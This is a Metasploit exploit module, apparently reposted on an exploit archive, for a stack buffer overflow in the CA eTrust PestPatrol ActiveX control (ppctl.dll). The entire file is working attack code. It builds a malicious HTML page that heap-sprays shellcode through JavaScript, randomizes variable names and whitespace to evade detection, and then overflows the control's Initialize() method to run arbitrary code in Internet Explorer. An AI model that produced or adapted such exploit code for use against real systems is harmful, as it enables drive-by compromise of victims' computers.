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etrust_pestscan.rb.txt

Posted on 26 November 2009

###
## This file is part of the Metasploit Framework and may be subject to
## redistribution and commercial restrictions. Please see the Metasploit
## Framework web site for more information on licensing and terms of use.
## http://metasploit.com/projects/Framework/
###

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

include Msf::Exploit::FILEFORMAT

def initialize(info = {})
super(update_info(info,
'Name'           => 'CA eTrust PestPatrol ActiveX Control Buffer Overflow',
'Description'    => %q{
This module exploits a stack overflow in CA eTrust PestPatrol. When
sending an overly long string to the Initialize() property of ppctl.dll (5.6.7.9)
an attacker may be able to execute arbitrary code.
},
'License'        => MSF_LICENSE,
'Author'         => [ 'MC' ],
'Version'        => '$Revision:$',
'References'     =>
[
[ 'URL', 'http://www.metasploit.com' ],
[ 'URL', 'http://www.my-etrust.com/Extern/RoadRunner/PestScan/scan.htm' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload'        =>
{
'Space'         => 1024,
'BadChars'      => "x00",
},
'Platform'       => 'win',
'Targets'        =>
[
[ 'Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => 0x0A0A0A0A } ]
],
'DisclosureDate' => 'Jun 5 2007',
'DefaultTarget'  => 0))

register_options(
[
OptString.new('FILENAME', [ false, 'The file name.',  'msf.html']),
], self.class)
end

def exploit
# Encode the shellcode.
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

# Create some nops.
nops    = Rex::Text.to_unescape(make_nops(4))

# Set the return.
ret     = Rex::Text.uri_encode([target.ret].pack('L'))

# Randomize the javascript variable names.
vname  = rand_text_alpha(rand(100) + 1)
var_i  = rand_text_alpha(rand(30)  + 2)
rand1  = rand_text_alpha(rand(100) + 1)
rand2  = rand_text_alpha(rand(100) + 1)
rand3  = rand_text_alpha(rand(100) + 1)
rand4  = rand_text_alpha(rand(100) + 1)
rand5  = rand_text_alpha(rand(100) + 1)
rand6  = rand_text_alpha(rand(100) + 1)
rand7  = rand_text_alpha(rand(100) + 1)
rand8  = rand_text_alpha(rand(100) + 1)

content = %Q|
<html>
<object id='#{vname}' classid='clsid:5E644C49-F8B0-4E9A-A2ED-5F176BB18CE6'></object>
<script language="JavaScript">
var #{rand1} = unescape('#{shellcode}');
var #{rand2} = unescape('#{nops}');
var #{rand3} = 20;
var #{rand4} = #{rand3} + #{rand1}.length;
while (#{rand2}.length < #{rand4}) #{rand2} += #{rand2};
var #{rand5} = #{rand2}.substring(0,#{rand4});
var #{rand6} = #{rand2}.substring(0,#{rand2}.length - #{rand4});
while (#{rand6}.length + #{rand4} < 0x40000) #{rand6} = #{rand6} + #{rand6} + #{rand5};
var #{rand7} = new Array();
for (#{var_i} = 0; #{var_i} < 400; #{var_i}++){ #{rand7}[#{var_i}] = #{rand6} + #{rand1} }
var #{rand8} = "";
for (#{var_i} = 0; #{var_i} < 14500; #{var_i}++) { #{rand8} = #{rand8} + unescape('#{ret}') }
#{vname}.Initialize(#{rand8});
</script>
</html>
|

content = Rex::Text.randomize_space(content)

print_status("Creating '#{datastore['FILENAME']}' file ...")

file_create(content)
end

end

 

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